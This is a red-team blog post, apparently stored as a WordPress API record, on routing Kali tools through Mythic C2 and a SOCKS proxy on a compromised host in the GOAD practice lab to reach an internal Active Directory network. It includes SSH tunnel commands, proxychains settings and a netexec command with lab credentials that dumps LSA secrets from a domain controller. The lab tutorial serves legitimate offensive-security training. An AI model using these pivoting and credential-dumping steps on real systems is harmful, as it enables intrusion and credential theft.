{"id":163,"date":"2025-12-11T08:55:17","date_gmt":"2025-12-11T08:55:17","guid":{"rendered":"https:\/\/jasveermaan.com\/?p=163"},"modified":"2026-03-13T10:06:43","modified_gmt":"2026-03-13T10:06:43","slug":"using-proxychains-with-mythic-c2","status":"publish","type":"post","link":"https:\/\/jasveermaan.com\/index.php\/2025\/12\/11\/using-proxychains-with-mythic-c2\/","title":{"rendered":"Using Proxychains With Mythic C2 to Pivot From Kali \u2192 C2 \u2192 Assume Breach \u2192 Internal Network"},"content":{"rendered":"\n<p>Hi readers,<\/p>\n\n\n\n<p>Recently, I was speaking with a friend who shared an interesting challenge he faced during a Red Team engagement. The Assume Breach machine he received had extremely limited disk space, meaning he couldn&#8217;t install many tools directly on it. To work around this, he used proxychains to route all his Kali Linux tools, running locally on his MacBook, through the C2 and then into the Assume Breach machine.<\/p>\n\n\n\n<p>This allowed him to keep his tooling on Kali while still operating inside the compromised environment. The flow looked like this:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Kali Linux \u2192 C2 \u2192 AssumeBreach \u2192 Internal Network<\/pre>\n\n\n\n<p>During my previous Red Team engagements, the client usually allowed us to connect to the network directly using our own laptops, so I never had to deal with this limitation. Since I had time, I decided to replicate the same scenario in my GOAD lab to prepare for future operations.<\/p>\n\n\n\n<p>For this blogpost, I am using Mythic C2, mainly because it is free, easy to deploy, and well-documented.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Setting Up Mythic C2 on AWS<\/h2>\n\n\n\n<p>My Mythic server is hosted on AWS EC2, and I expose the UI locally via SSH port forwarding using the following command:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ssh -i C2Key.pem -L 7443:localhost:7443 ubuntu@AWS_IP<\/pre>\n\n\n\n<p>Once the tunnel is active, I can visit:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/localhost:7443<\/pre>\n\n\n\n<p>From there, I generated a payload to receive a callback. Mythic immediately showed that the payload was created successfully:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1918\" height=\"429\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/12\/Mythic_RunningOnAWS.png\" alt=\"\" class=\"wp-image-164\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Receiving the Callback From the Assume Breach Machine<\/h2>\n\n\n\n<p>Next, on my GOAD lab\u2019s attack path, I executed the payload on SRV01 (10.8.10.22). The callback appeared in Mythic under user Samwell.Tarly.<\/p>\n\n\n\n<p>This machine now represents the Assume Breach endpoint\u2014a restricted Windows host with limited disk space.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1919\" height=\"924\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/12\/Callback-Received.png\" alt=\"\" class=\"wp-image-165\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Enabling SOCKS Proxy in Mythic<\/h2>\n\n\n\n<p>Once I received the beacon, I executed the following command inside Mythic\u2019s UI:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">socks<\/pre>\n\n\n\n<p>I specified port 7000, which instructs the agent to create a SOCKS proxy listener.<\/p>\n\n\n\n<p>This enables Mythic to forward network traffic from Kali \u2192 Mythic \u2192 SRV01 \u2192 internal domain (DC01, other servers, etc.). The screenshot below shows the SOCKS proxy successfully started on port 7000:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1912\" height=\"1125\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/12\/Running_socks.png\" alt=\"\" class=\"wp-image-168\"\/><\/figure>\n\n\n\n<p>This confirms the SOCKS listener is operational and ready for proxying.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Routing Kali Traffic Through Mythic \u2192 SRV01<\/h2>\n\n\n\n<p>To achieve this, I extend the SSH tunnel with an additional port forward:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ssh -i C2Key.pem -L 7443:localhost:7443 -L 7000:localhost:7000 ubuntu@AWS_IP<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Port 7443 forwards the Mythic UI<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Port 7000 forwards the SOCKS proxy running through Mythic<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Configuring Proxychains on Kali<\/h2>\n\n\n\n<p>On Kali, I update \/etc\/proxychains4.conf:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">socks5 127.0.0.1 7000<\/pre>\n\n\n\n<p>This tells proxychains to send all outgoing tool traffic through the SOCKS proxy. At this stage:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>My Kali Linux is running outside the GOAD lab environment<\/li>\n\n\n\n<li>Traffic tunnels through Kali \u2192 AWS \u2192 Mythic \u2192 SRV01<\/li>\n\n\n\n<li>SRV01 acts as the pivot into the internal AD network<\/li>\n\n\n\n<li>I don\u2019t need to install any tooling on SRV01<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Testing the Multi-Hop Pivot<\/h2>\n\n\n\n<p>Now I can run tools like:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">proxychains4 nxc smb 10.8.10.11 -u 'robb.stark' -p 'sexywolfy' --lsa <\/pre>\n\n\n\n<p>The traffic path becomes:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Kali \u2192 SSH Tunnel \u2192 Mythic C2 \u2192 SRV01 (Assume Breach) \u2192 DC01\/Internal Network<\/pre>\n\n\n\n<p>The screenshot below shows successful communication from Kali to DC01 using the SOCKS proxy path:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1895\" height=\"466\" src=\"https:\/\/jasveermaan.com\/wp-content\/uploads\/2025\/12\/Proxychain_successful.png\" alt=\"\" class=\"wp-image-167\"\/><\/figure>\n\n\n\n<p>This confirms that the pivot works end-to-end.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p>This technique is incredibly useful for Red Team scenarios where:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The Assume Breach machine has limited resources<\/li>\n\n\n\n<li>Installing tools poses OPSEC risks<\/li>\n\n\n\n<li>You prefer running tools from your own environment<\/li>\n\n\n\n<li>You need to pivot deeper into internal networks from a single foothold<\/li>\n<\/ul>\n\n\n\n<p>By combining:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Mythic C2<\/li>\n\n\n\n<li>SSH tunneling<\/li>\n\n\n\n<li>SOCKS proxy<\/li>\n\n\n\n<li>proxychains<\/li>\n<\/ul>\n\n\n\n<p>You gain a flexible and stealthy multi-hop environment where your Kali tools execute as if they were inside the victim network, without ever touching the compromised host\u2019s disk.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hi readers, Recently, I was speaking with a friend who shared an interesting challenge he faced during a Red Team engagement. The Assume Breach machine he received had extremely limited disk space, meaning he couldn&#8217;t install many tools directly on it. To work around this, he used proxychains to route all his Kali Linux tools, &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/jasveermaan.com\/index.php\/2025\/12\/11\/using-proxychains-with-mythic-c2\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Using Proxychains With Mythic C2 to Pivot From Kali \u2192 C2 \u2192 Assume Breach \u2192 Internal Network&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-163","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts\/163","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/comments?post=163"}],"version-history":[{"count":4,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts\/163\/revisions"}],"predecessor-version":[{"id":267,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/posts\/163\/revisions\/267"}],"wp:attachment":[{"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/media?parent=163"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/categories?post=163"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jasveermaan.com\/index.php\/wp-json\/wp\/v2\/tags?post=163"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}